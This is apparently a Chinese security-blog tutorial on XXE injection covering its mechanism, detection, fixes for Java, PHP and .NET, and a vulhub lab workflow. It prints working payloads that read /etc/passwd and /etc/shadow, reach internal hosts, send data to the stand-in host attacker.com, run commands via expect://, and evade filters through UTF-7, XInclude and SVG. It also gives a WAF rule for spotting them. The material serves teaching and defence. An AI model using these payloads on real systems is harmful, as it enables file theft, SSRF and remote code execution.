jasongsasd
- 关注

1. 漏洞定义
XXE(XML外部实体注入) 是一种利用XML解析器处理外部实体时的安全缺陷,攻击者通过注入恶意外部实体,实现敏感数据读取、服务器端请求伪造(SSRF)或远程代码执行(RCE)。
2. 漏洞原理
外部实体声明:XML允许在DOCTYPE中定义实体,包括引用外部资源:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
- 解析器行为:未严格配置的解析器会解析并返回外部实体内容,如读取本地文件、发起网络请求等。
3. 攻击场景
敏感文件泄露:
<!ENTITY xxe SYSTEM "file:///etc/shadow">
SSRF攻击:
<!ENTITY xxe SYSTEM "http://internal-api:8080/secrets">
盲注XXE:通过DNS或HTTP请求外带数据:
<!ENTITY % dtd SYSTEM "http://attacker.com/collect?data=exfil">
PHP expect RCE(需特定环境):
<!ENTITY xxe SYSTEM "expect://id">
4. 漏洞检测方法
手动检测:
<!-- 基本Payload --> <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> <!-- 盲注检测 --> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://dnslog.cn"> %remote; ]>
工具检测:
Burp Suite:Scanner模块自动识别XXE流量特征
XXEinjector:自动化利用工具,支持多种协议外带数据
OOB测试:使用Interactsh生成带外检测域名
5. 漏洞修复方案
代码层修复
禁用外部实体(以Java为例):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
PHP修复:
libxml_disable_entity_loader(true);
.NET修复:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit;
架构层加固
输入过滤:拦截包含<!DOCTYPE或SYSTEM关键字的XML内容
协议限制:禁止XML解析器使用file、http、ftp等协议
WAF规则:
# 拦截XXE特征 if ($request_body ~* "<!ENTITY.*SYSTEM") { deny all; }
6. 绕过手法与进阶攻击
UTF-7编码绕过:
+ADw-+ACE-DOCTYPE foo+AFs- +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4- +AD4-
XInclude注入(当无法控制XML头时):
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </root>
SVG文件XXE:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="expect://ls"></image> </svg>
御矩阵
防护层级 具体措施 实施示例
代码层 安全XML解析配置 禁用DTD、外部实体
运维层 文件上传过滤 禁止上传SVG/Office文档
网络层 出站协议限制 阻断XML解析器的外连请求
监控层 异常日志告警 监控XML解析错误日志
9. 测试验证流程
- 环境搭建:
# 使用vulhub快速搭建测试环境 git clone https://github.com/vulhub/vulhub cd vulhub/xxe docker-compose up -d
2.漏洞验证:
POST /xml.php HTTP/1.1 Host: vuln-server Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>
总结:XEE漏洞的防御需要从XML解析器安全配置、输入过滤、协议限制等多维度构建防御体系,同时结合持续监控和渗透测试确保防护有效性。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)